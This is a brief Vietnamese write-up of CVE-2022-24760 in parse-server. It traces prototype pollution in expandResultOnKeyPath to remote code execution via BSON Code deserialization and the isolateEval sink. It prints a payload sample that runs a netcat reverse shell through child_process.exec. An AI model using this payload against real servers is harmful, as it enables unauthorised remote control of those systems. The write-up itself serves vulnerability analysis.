### [CVE-2022-24760](https://github.com/tuo4n8/CVE-2022-24760-Analysis)
---
### flow


- Default không cần key để thêm xóa sửa các class vào db

---
### Diff commit
https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

- Prototype pollution xảy ra ở hàm `expandResultOnKeyPath`
```
DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
```
- `sanitizeDatabaseResult` được sử dụng khi `add` và `update` class mới. Tuy nhiên để prototype được phải thõa mãn điều khiện khi keyUpdate `__op` thuộc `['Add', 'AddUnique', 'Remove', 'Increment']`
- Do đó, các value prototype chỉ có thể là `array` hoặc là `number`
- 
- 
- sample resquest like:

### Sink exploit for RCE
- Trước khi lưu dữ liệu trên DB, luồng dữ liệu sẽ được `serialize` qua thư viện BSON, khi _bsontype là `Code` thì sẽ tiến hành `serializeCode`

`parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762`
- Sau đó, dữ liệu sẽ được deserialize để thao tác đi đến sink:



- Sử dụng prototype pollution để pollute `options['evalFunctions']` -> bypass đến hàm `isolateEval`
- Payload sample
```
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
```
- Do luồng thực thi hàm `expandResultOnKeyPath` đến sau khi deserilize nên cần thực hiện race condtion liên tục để khi đến `isolateEval` có thể trigger được

登录后查看神龙缓存的 POC 文件快照
登录查看